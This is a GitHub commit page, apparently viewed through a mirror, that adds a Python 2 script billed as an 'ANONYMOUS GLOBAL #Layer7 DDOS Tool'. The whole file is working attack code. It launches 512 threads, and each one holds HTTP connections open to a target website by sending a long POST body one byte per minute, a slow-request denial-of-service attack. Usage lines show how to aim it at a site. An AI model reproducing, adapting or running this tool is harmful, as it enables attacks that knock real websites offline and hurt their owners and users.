Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 41c699c

Browse files
authored
Create 17.py
1 parent 1d04fea commit 41c699c

1 file changed

Lines changed: 115 additions & 0 deletions

File tree

17.py

Lines changed: 115 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,115 @@
1+
#!/usr/bin/python
2+
3+
#0x0a/0x3a/0x6a/0x2a
4+
5+
import sys
6+
import socket
7+
import time
8+
import getopt
9+
import re
10+
from threading import Thread
11+
12+
class MyThread(Thread,):
13+
def __init__(self,SITE, DOS_TYPE):
14+
Thread.__init__(self)
15+
self.method = DOS_TYPE
16+
self.site = SITE
17+
self.kill_received = False
18+
def run(self):
19+
while not self.kill_received:
20+
server = socket.gethostbyname(self.site)
21+
post = 'x' * 9999
22+
file = '/'
23+
24+
request = '%s /%s HTTP/1.1\r\n' %(self.method.upper(),file)
25+
request += 'Host: %s\r\n' % (self.site)
26+
request += 'User-Agent: Mozilla/5.0 (Windows; U;Windows NT 6.1; en-US; rv:1.9.2.12) Gecko/20101026Firefox/3.6.12\r\n'
27+
request += 'Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n'
28+
request += 'Accept-Language: en-us,en;q=0.5\r\n'
29+
request += 'Accept-Encoding: gzip,deflate\r\n'
30+
request += 'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n'
31+
request += 'Keep-Alive: 9000\r\n'
32+
request += 'Connection: close\r\n'
33+
request += 'Content-Type: application/x-www-form-urlencoded\r\n'
34+
request += 'Content-length: %s\r\n\r\n' % (len(post))
35+
36+
newrequest = '%s\r\n' % (post)
37+
newrequest += '\r\n'
38+
39+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
40+
41+
try:
42+
s.connect((server, 80))
43+
s.send(request)
44+
45+
for c in newrequest:
46+
sys.stdout.write( s.send(c).__str__() )
47+
time.sleep(60)
48+
s.close()
49+
#s.recv(50000)
50+
except:
51+
print "Target Down?"
52+
53+
def da_delegator(SITE,DOS_TYPE):
54+
thread_count = 512
55+
print '=' * 60
56+
print 'ANONYMOUS GLOBAL #Layer7 Tool v.1'.center(60,'-')
57+
print '=' * 60
58+
threads = []
59+
for num in range(thread_count):
60+
thr1=MyThread(SITE,DOS_TYPE)
61+
print 'start - %s' % thr1
62+
thr1.start()
63+
threads.append(thr1)
64+
#thr1.join()
65+
66+
while len(threads) > 0:
67+
try:
68+
# Join all threads using a timeout so it doesn't block
69+
# Filter out threads which have been joined or are None
70+
threads = [t.join(1) for t in threads if t is not
71+
None and t.isAlive()]
72+
except KeyboardInterrupt:
73+
print "Ctrl-c received! Sending kill to threads... Just close The Terminal"
74+
for t in threads:
75+
t.kill_received = True
76+
sys.exit(2)
77+
78+
def main(argv):
79+
def usage():
80+
print '=' * 60
81+
print 'ANONYMOUS GLOBAL #Layer7 DDOS Tool v.1'.center(60,'-')
82+
print '=' * 60
83+
print 'For GET DOS - USAGE: Layer7.py -t get http://example.com'
84+
print 'For POST DOS - USAGE: Layer7.py -t post http://example.com'
85+
sys.exit(2)
86+
if not argv:
87+
usage()
88+
try:
89+
opts, args = getopt.getopt(sys.argv[1:], "t:h", ["help",
90+
"type"])
91+
except getopt.GetoptError, err:
92+
print str(err)
93+
sys.exit(2)
94+
output = None
95+
verbose = False
96+
SITE = re.sub(r'http://', '', str(sys.argv[-1:][0]))
97+
98+
for o, a in opts:
99+
if o == "-v":
100+
verbose = True
101+
elif o in ("-t", "--type"):
102+
if a.lower() == 'post':
103+
DOS_TYPE = 'POST'
104+
da_delegator(SITE,DOS_TYPE)
105+
elif a.lower() =='get':
106+
DOS_TYPE = 'get'
107+
da_delegator(SITE,DOS_TYPE)
108+
elif o in ("-h", "--help"):
109+
usage()
110+
sys.exit()
111+
else:
112+
assert False, "unhandled option"
113+
114+
if __name__=="__main__":
115+
main(sys.argv[1:])

0 commit comments

Comments
 (0)